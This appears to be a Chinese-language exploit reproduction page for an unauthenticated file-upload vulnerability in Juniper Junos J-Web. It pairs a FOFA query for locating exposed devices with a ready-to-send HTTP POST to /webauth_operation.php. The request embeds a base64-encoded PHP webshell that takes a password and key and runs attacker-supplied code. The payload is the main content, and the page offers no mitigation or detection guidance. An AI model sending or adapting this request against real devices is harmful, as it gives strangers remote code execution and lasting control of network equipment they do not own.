J20-1Junos-网络操作系统-文件上传

漏洞描述：

Junos webauth_operation.php接口处存在文件上传漏洞，未经身份认证的攻击者可利用 Junos 操作系统的 J-Web 服务 /webauth_operation.php 路由上传 php webshell，通过 ?PHPRC 参数进行包含，进入控制整个 web 服务器。

影响版本：

• Junos-网络操作系统

网站图片:

网络测绘:

fofa语法：

FOFA：app=“JUNIPer-Web-Device-Manager”

漏洞复现:

payload：

POST /webauth_operation.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

rs=do_upload&rsargs[0]=[{"fileData":"data:text/html;base64,PD9waHAgQHNlc3Npb25fc3RhcnQoKTtAc2V0X3RpbWVfbGltaXQoMCk7QGVycm9yX3JlcG9ydGluZygwKTtmdW5jdGlvbiBlbmNvZGUoJEQsJEspe2ZvcigkaT0wOyRpPHN0cmxlbigkRCk7JGkrKyl7JGM9JEtbJGkrMSYxNV07JERbJGldPSREWyRpXV4kYzt9cmV0dXJuICREO30kcGFzcz0ncGFzcyc7JHBheWxvYWROYW1lPSdwYXlsb2FkJzska2V5PSczYzZlMGI4YTljMTUyMjRhJztpZihpc3NldCgkX1BPU1RbJHBhc3NdKSl7JGRhdGE9ZW5jb2RlKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyRwYXNzXSksJGtleSk7aWYoaXNzZXQoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0pKXskcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7aWYoc3RycG9zKCRwYXlsb2FkLCJnZXRCYXNpY3NJbmZvIik9PT1mYWxzZSl7JHBheWxvYWQ9ZW5jb2RlKCRwYXlsb2FkLCRrZXkpO31ldmFsKCRwYXlsb2FkKTtlY2hvIHN1YnN0cihtZDUoJHBhc3MuJGtleSksMCwxNik7ZWNobyBiYXNlNjRfZW5jb2RlKGVuY29kZShAcnVuKCRkYXRhKSwka2V5KSk7ZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTt9ZWxzZXtpZihzdHJwb3MoJGRhdGEsImdldEJhc2ljc0luZm8iKSE9PWZhbHNlKXskX1NFU1NJT05bJHBheWxvYWROYW1lXT1lbmNvZGUoJGRhdGEsJGtleSk7fX19Pz48IS0t","fileName":"1.php","csize":675}]

效果图: